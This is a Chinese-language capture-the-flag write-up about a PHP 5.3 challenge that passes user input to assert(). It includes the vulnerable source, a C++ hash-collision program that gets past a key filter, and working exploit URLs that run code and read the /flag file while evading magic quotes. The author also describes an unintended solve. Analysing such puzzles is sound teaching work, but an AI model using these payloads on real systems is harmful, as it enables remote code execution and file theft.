隐约雷鸣,阴霾天空,但盼风雨来,能留你在此。 隐约雷鸣,阴霾天空,即使天无雨,我亦留此地。 ——《万叶集》
序
这是一道群里大佬出的红包题,由于我是非预期解题,这里给出一下出题人Write Up和自己的一些思考。
原题
PHP Ver : 5.3.29
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$flag=0;
$array = array('MXPUMXPUMXPUMXPU' => 1, 'NWPUNWPUNWPUNWPU' => 2, 'MXOvMXOvMXOvMXOv' => 3,'NWOvNWOvNWOvNWOv' => 'phpinfo();');
$ref = &$array;
if (isset($_GET['data_key']) && isset($_GET['data_value'])) {
$data_key = $_GET['data_key'];
$data_value = $_GET['data_value'];
if (preg_match('/MX|PU|NW|Ov/i', $data_key)) {
die('nonono');
}
else{
foreach ($array as $key => $value) {
if ($flag===0){
unset($array['NWPUNWPUNWPUNWPU']);
$array[$data_key] = $data_value;
$flag=1;
}
if($key=='NWOvNWOvNWOvNWOv'){
call_user_func('assert',$value);
die('');
}
if (current($array) === false) {
call_user_func('assert',$value);
}
}
}
}
else{
highlight_file(__FILE__);
}
题解
注意到是php版本5,用了foreach方法,注意到php5中数组和php7存在区别,具体可见:
- https://stackoverflow.com/questions/10057671/how-does-php-foreach-actually-work/14854568#14854568
- https://www.phpinternalsbook.com/php5/hashtables/hash_algorithm.html
了解到hash算法是djbx33a后,考虑hash碰撞。由于该hash算法的特性,两两⼀组进行碰撞,碰撞出array_key=O6Q4O6Q4O6Q4O6Q4
.
POC
static inline unsigned long zend_inline_hash_func(const char *arKey, unsigned int nKeyLength)
{
register unsigned long hash = 5381;
/* variant with the hash unrolled eight times */
for (; nKeyLength >= 8; nKeyLength -= 8)
{
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
}
switch (nKeyLength)
{
case 7:
hash = ((hash << 5) + hash) + *arKey++;
case 6:
hash = ((hash << 5) + hash) + *arKey++;
case 5:
hash = ((hash << 5) + hash) + *arKey++;
case 4:
hash = ((hash << 5) + hash) + *arKey++;
case 3:
hash = ((hash << 5) + hash) + *arKey++;
case 2:
hash = ((hash << 5) + hash) + *arKey++;
case 1:
hash = ((hash << 5) + hash) + *arKey++;
break;
case 0:
break;
}
return hash;
}
int main()
{
char a[3];
a[2] = 0;
for (byte i = 0; i < 255; i += 1)
{
a[0] = i;
for (byte j = 0; j < 255; j += 1)
{
a[1] = j;
if (zend_inline_hash_func(a, 2) == zend_inline_hash_func("PU", 2))
{
std::cout << int(a[0]) << ',' << int(a[1]) << std::endl;
}
}
}
}
绕过后,进行命令执行,发现开了magic quote,所有的'
会被转义成\'
https://www.cnblogs.com/phpddt/articles/3131136.html
用php中的char函数来构造字符串。
http://xxx/?data_key=O6Q4O6Q4O6Q4O6Q4&data_value=var_dump(file_get_contents(chr(47).flag));
思考
在刚拿到这道题的时候尝试使用正则绕过来构造PoC如下:
http://xxx/?data_key=N%0AW%0AP%0AU%0AN%0AW%0AP%0AU%0AN%0AWPUNWPU%0A&data_value=phpinfo();
发现怎么也跑不进构造的新数组里去。
在阅读大佬放出的Hint后得到如下关键信息:
于是想到直接碰撞hash,但是苦于找不到PHP的hash算法,就随便魔改了一下原字符串得到:
http://xxx/?data_key=WNUPWNUPWNUPWNUP&data_value=phpinfo();
魔幻的事情开始了,竟然能够成功执行代码并非预期解拿到了flag和一杯奶茶。非预期解原因暂时未知。